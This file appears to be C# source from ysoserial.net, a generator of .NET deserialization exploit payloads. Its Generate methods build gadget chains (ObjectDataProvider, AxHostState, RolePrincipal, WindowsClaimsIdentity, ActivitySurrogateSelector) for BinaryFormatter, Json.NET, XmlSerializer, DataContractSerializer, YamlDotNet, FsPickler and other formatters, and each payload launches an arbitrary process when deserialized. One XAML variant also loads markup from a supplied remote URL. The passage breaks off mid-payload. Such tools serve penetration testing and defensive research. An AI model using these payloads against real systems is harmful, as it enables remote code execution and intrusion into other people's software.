public override object Generate(string formatter, InputArgs inputArgs)
{
// Disable ActivitySurrogate type protections during generation
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
try
{
PayloadClassFromFile payload = new PayloadClassFromFile(inputArgs.Cmd, variant_number, inputArgs);
if (inputArgs.Minify)
{
byte[] payloadInByte = payload.GadgetChainsToBinaryFormatter();
if (formatter.ToLower().Equals("binaryformatter"))
{
if (inputArgs.Test)
{
try
{
SerializersHelper.BinaryFormatter_deserialize(payloadInByte);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payloadInByte);
}
else if (formatter.ToLower().Equals("losformatter"))
{
payloadInByte = Helpers.ModifiedVulnerableBinaryFormatters.SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(payload.GadgetChainsToBinaryFormatter());
if (inputArgs.Test)
{
try
{
SerializersHelper.LosFormatter_deserialize(payloadInByte);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payloadInByte);
}
}
return(Serialize(payload, formatter, inputArgs));
}
catch (System.IO.FileNotFoundException e1)
{
Console.WriteLine("Error in provided file(s): \r\n" + e1.Message);
return("");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
Generator generator = new TextFormattingRunPropertiesGenerator();
byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs); // we could have used AxHostStateGeneratorGadget directly here but it wouldn't have passed our other potential filters using the user input
string b64encoded = Convert.ToBase64String(binaryFormatterPayload);
AxHostStateMarshal payloadAxHostMarshal = new AxHostStateMarshal(Convert.FromBase64String(b64encoded));
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("objectstateformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("soapformatter", StringComparison.OrdinalIgnoreCase))
{
return(Serialize(payloadAxHostMarshal, formatter, inputArgs));
}
else if (formatter.Equals("NetDataContractSerializer", StringComparison.OrdinalIgnoreCase))
{
string utfString = System.Text.Encoding.UTF8.GetString((byte[])SerializeWithNoTest(payloadAxHostMarshal, formatter, inputArgs));
string payload = SerializersHelper.NetDataContractSerializer_Marshal_2_MainType(utfString);
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true);
}
else
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.NetDataContractXML, true);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
IGenerator generator = new TextFormattingRunPropertiesGenerator();
byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs);
string b64encoded = Convert.ToBase64String(binaryFormatterPayload);
var payloadClaimsPrincipalMarshal = new RolePrincipalMarshal(b64encoded);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("SoapFormatter", StringComparison.OrdinalIgnoreCase))
{
return(Serialize(payloadClaimsPrincipalMarshal, formatter, inputArgs));
}
else if (formatter.ToLower().Equals("json.net"))
{
string payload = @"{
'$type': 'System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a',
'System.Security.ClaimsPrincipal.Identities': '" + b64encoded + @"'
}";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = JSONMinifier.Minify(payload, new string[] { "System.Web" }, null);
}
else
{
payload = JSONMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer"))
{
string payload = $@"<root type=""System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"">
<RolePrincipal xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/System.Web.Security"">
<System.Security.ClaimsPrincipal.Identities i:type=""x:string"" xmlns="""">{b64encoded}</System.Security.ClaimsPrincipal.Identities>
</RolePrincipal>
</root>
";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
// System.Web needs to be there! ust seems useless here
payload = XMLMinifier.Minify(payload, new string[] { "" }, null);
}
else
{
payload = XMLMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
string utfString = System.Text.Encoding.UTF8.GetString((byte[])SerializeWithNoTest(payloadClaimsPrincipalMarshal, formatter, inputArgs));
string payload = SerializersHelper.NetDataContractSerializer_Marshal_2_MainType(utfString);
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
// System.Web needs to be there! ust seems useless here
payload = XMLMinifier.Minify(payload, new string[] { }, null);
}
else
{
payload = XMLMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
// NOTE: What is Xaml2? Xaml2 uses ResourceDictionary in addition to just using ObjectDataProvider as in Xaml
if (formatter.ToLower().Equals("xaml"))
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = inputArgs.CmdFileName;
if (inputArgs.HasArguments)
{
psi.Arguments = inputArgs.CmdArguments;
}
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
string payload = "";
if (variant_number == 2)
{
ResourceDictionary myResourceDictionary = new ResourceDictionary();
myResourceDictionary.Add("", odp);
// XAML serializer can also be exploited!
payload = SerializersHelper.Xaml_serialize(myResourceDictionary);
}
else if (variant_number == 3)
{
if (xaml_url == "")
{
Console.WriteLine("Url parameter was not provided.");
Console.WriteLine("Try 'ysoserial --fullhelp' for more information.");
System.Environment.Exit(-1);
}
// There are loads of other objects in Presentation that use XAML URLs and they can be used here instead
payload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" Source=""" + xaml_url + @"""/>";
}
else if (variant_number == 4)
{
inputArgs.IsSTAThread = true; // we need STAThreadAttribute here
string bridge = SerializersHelper.Xaml_serialize(odp);
if (inputArgs.Minify)
{
// using discardable regex array to make it shorter!
bridge = XMLMinifier.Minify(bridge, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " });
}
// There are loads of other objects in Presentation that use ResourceDictionary and they can all be used here instead
payload = @"<WorkflowDesigner xmlns=""clr-namespace:System.Activities.Presentation;assembly=System.Activities.Presentation"" PropertyInspectorFontAndColorData=""" + CommandArgSplitter.XmlStringAttributeEscape(bridge) + @"""/>";
}
else
{
//payload = XamlWriter.Save(odp);
payload = SerializersHelper.Xaml_serialize(odp);
}
if (inputArgs.Minify)
{
// using discardable regex array to make it shorter!
payload = XMLMinifier.Minify(payload, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " });
}
if (inputArgs.Test)
{
if (inputArgs.IsSTAThread)
{
var staThread = new System.Threading.Thread(delegate()
{
try {
SerializersHelper.Xaml_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
});
staThread.SetApartmentState(System.Threading.ApartmentState.STA);
staThread.Start();
staThread.Join();
}
else
{
try
{
SerializersHelper.Xaml_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
}
return(payload);
}
if (formatter.ToLower().Equals("json.net"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
string cmdPart = "";
if (inputArgs.HasArguments)
{
cmdPart = "'" + inputArgs.CmdFileName + "', '" + inputArgs.CmdArguments + "'";
}
else
{
cmdPart = "'" + inputArgs.CmdFileName + "'";
}
String payload = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':[" + cmdPart + @"]
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = JSONMinifier.Minify(payload, new String[] { "PresentationFramework", "mscorlib", "System" }, null);
}
else
{
payload = JSONMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("fastjson"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = @"""FileName"":""" + inputArgs.CmdFileName + @""",""Arguments"":""" + inputArgs.CmdArguments + @"""";
}
else
{
cmdPart = @"""FileName"":""" + inputArgs.CmdFileName + @"""";
}
String payload = @"{
""$types"":{
""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"",
""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"",
""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3""
},
""$type"":""1"",
""ObjectInstance"":{
""$type"":""2"",
""StartInfo"":{
""$type"":""3"",
" + cmdPart + @"
}
},
""MethodName"":""Start""
}";
if (inputArgs.Minify)
{
payload = JSONMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
var instance = JSON.ToObject <Object>(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("javascriptserializer"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = "'FileName':'" + inputArgs.CmdFileName + "', 'Arguments':'" + inputArgs.CmdArguments + "'";
}
else
{
cmdPart = "'FileName':'" + inputArgs.CmdFileName + "'";
}
String payload = @"{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
" + cmdPart + @"
}
}
}";
if (inputArgs.Minify)
{
payload = JSONMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JavaScriptSerializer_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("xmlserializer"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String><b:String>{inputArgs.CmdArguments}</b:String>";
}
else
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String>";
}
String payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xsi:type=""xsd:string"">
<![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">{cmdPart}</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type=""XamlReader""></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.XMLSerializer, true);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.XMLSerializer_deserialize(payload, null, "root", "type");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
String cmdPart, payload;
if (variant_number == 2)
{
if (inputArgs.HasArguments)
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String><b:String>{inputArgs.CmdArguments}</b:String>";
}
else
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String>";
}
payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfXamlReaderObjectDataProviderRexb2zZW xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">
<ExpandedElement z:Id=""ref1"" >
<__identity xsi:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
<a:MethodName>Parse</a:MethodName>
<a:MethodParameters>
<anyType xsi:type=""xsd:string"" xmlns=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
<![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">{cmdPart}</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref=""ref1""/>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProviderRexb2zZW>
</root>
";
}
else if (variant_number == 3)
{
payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfXamlReaderObjectDataProviderRexb2zZW xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">
<ExpandedElement z:Id=""ref1"" >
<__identity xsi:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
<a:MethodName>Parse</a:MethodName>
<a:MethodParameters>
<anyType xsi:type=""xsd:string"" xmlns=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
<![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">xxxxx</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref=""ref1""/>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProviderRexb2zZW>
</root>
";
}
else
{
if (inputArgs.HasArguments)
{
cmdPart = $@"<b:anyType i:type=""c:string"">" + inputArgs.CmdFileName + @"</b:anyType>
<b:anyType i:type=""c:string"">" + inputArgs.CmdArguments + "</b:anyType>";
}
else
{
cmdPart = $@"<anyType i:type=""c:string"" xmlns=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">" + inputArgs.CmdFileName + @"</anyType>";
}
payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal""
xmlns:c=""http://www.w3.org/2001/XMLSchema""
xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""
xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/""
>
<ExpandedElement z:Id=""ref1"" >
<__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
<a:MethodName>Start</a:MethodName>
<a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
" + cmdPart + @"
</a:MethodParameters>
<a:ObjectInstance z:Ref=""ref1""/>
</ProjectedProperty0>
</ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
";
}
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.DataContractXML, true);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("yamldotnet"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.YamlDotNet;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = $@"FileName: " + inputArgs.CmdFileName + @",
Arguments: " + inputArgs.CmdArguments;
}
else
{
cmdPart = $@"FileName: " + inputArgs.CmdFileName;
}
String payload = @"
!<!System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35> {
MethodName: Start,
ObjectInstance:
!<!System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089> {
StartInfo:
!<!System.Diagnostics.ProcessStartInfo,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089> {
" + cmdPart + @"
}
}
}";
if (inputArgs.Minify)
{
payload = YamlDocumentMinifier.Minify(payload);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.YamlDotNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("fspickler"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String><b:String>{inputArgs.CmdArguments}</b:String>";
}
else
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String>";
}
String internalPayload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start"">" + cmdPart + @"</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";
internalPayload = CommandArgSplitter.JsonStringEscape(internalPayload);
String payload = @"{
""FsPickler"": ""4.0.0"",
""type"": ""System.Object"",
""value"": {
""_flags"": ""subtype"",
""subtype"": {
""Case"": ""NamedType"",
""Name"": ""Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"",
""Assembly"": {
""Name"": ""Microsoft.PowerShell.Editor"",
""Version"": ""3.0.0.0"",
""Culture"": ""neutral"",
""PublicKeyToken"": ""31bf3856ad364e35""
}
},
""instance"": {
""serializationEntries"": [
{
""Name"": ""ForegroundBrush"",
""Type"": {
""Case"": ""NamedType"",
""Name"": ""System.String"",
""Assembly"": {
""Name"": ""mscorlib"",
""Version"": ""4.0.0.0"",
""Culture"": ""neutral"",
""PublicKeyToken"": ""b77a5c561934e089""
}
},
""Value"": """ + internalPayload + @"""
}
]
}
}
}";
if (inputArgs.Minify)
{
payload = JSONMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
var serializer = MBrace.CsPickler.CsPickler.CreateJsonSerializer(true);
serializer.UnPickleOfString <Object>(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLowerInvariant().Equals("sharpserializerbinary"))
{
// Binary Serialization Mode
object serializedData = SerializersHelper.SharpSerializer_ObjectDataProvider_Binary_Serialize(inputArgs.Cmd);
if (inputArgs.Test)
{
SerializersHelper.SharpSerializer_ObjectDataProvider_Binary_Deserialize(serializedData);
}
return(serializedData);
}
else if (formatter.ToLowerInvariant().Equals("sharpserializerxml"))
{
// XML Serialization Mode
string serializedData = (string)SerializersHelper.SharpSerializer_ObjectDataProvider_Xml_Serialize(inputArgs.Cmd);
if (inputArgs.Test)
{
SerializersHelper.SharpSerializer_ObjectDataProvider_Xml_Deserialize(serializedData);
}
return(serializedData);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
Generator generator = new TextFormattingRunPropertiesGenerator();
byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs);
string b64encoded = Convert.ToBase64String(binaryFormatterPayload);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("objectstateformatter", StringComparison.OrdinalIgnoreCase))
{
Object obj = null;
if (variant_number == 2)
{
obj = new WindowsClaimsIdentityMarshal_var2(b64encoded);
}
else if (variant_number == 3)
{
obj = new WindowsClaimsIdentityMarshal_var3(b64encoded);
}
else
{
obj = new WindowsClaimsIdentityMarshal_var1(b64encoded);
}
return(Serialize(obj, formatter, inputArgs));
}
else if (formatter.ToLower().Equals("json.net"))
{
string payload = "";
if (variant_number == 2)
{
payload = @"{
'$type': 'Microsoft.IdentityModel.Claims.WindowsClaimsIdentity, Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35',
'System.Security.ClaimsIdentity.bootstrapContext': '" + b64encoded + @"'
}";
}
else
{
payload = @"{
'$type': 'Microsoft.IdentityModel.Claims.WindowsClaimsIdentity, Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35',
'System.Security.ClaimsIdentity.actor': '" + b64encoded + @"'
}";
}
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = JSONMinifier.Minify(payload, new string[] { "Microsoft.IdentityModel" }, null);
}
else
{
payload = JSONMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer"))
{
string payload = "";
if (variant_number == 2)
{
payload = $@"<root type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity, Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"">
<WindowsClaimsIdentity xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/Microsoft.IdentityModel.Claims"">
<System.Security.ClaimsIdentity.bootstrapContext i:type=""x:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.bootstrapContext>
</WindowsClaimsIdentity>
</root>";
}
else
{
payload = $@"<root type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity, Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"">
<WindowsClaimsIdentity xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/Microsoft.IdentityModel.Claims"">
<System.Security.ClaimsIdentity.actor i:type=""x:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.actor>
</WindowsClaimsIdentity>
</root>";
}
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "Microsoft.IdentityModel" }, null);
}
else
{
payload = XMLMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
string payload = "";
if (variant_number == 2)
{
payload = $@"<root>
<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" z:Type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity"" z:Assembly=""Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
<System.Security.ClaimsIdentity.actor z:Type=""System.String"" z:Assembly=""0"">{b64encoded}</System.Security.ClaimsIdentity.actor>
</w>
</root>
";
}
else if (variant_number == 3)
{
payload = $@"<root>
<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" z:Type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity"" z:Assembly=""Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
<System.Security.ClaimsIdentity.bootstrapContext z:Type=""System.String"" z:Assembly=""0"">{b64encoded}</System.Security.ClaimsIdentity.bootstrapContext>
</w>
</root>
";
}
else
{
payload = $@"<root>
<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" z:Type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity"" z:Assembly=""Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
<_actor z:Type=""System.String"" z:Assembly=""0"" >{b64encoded}</_actor>
<m_userToken z:Type=""System.IntPtr"" z:Assembly=""0"" xmlns="""">
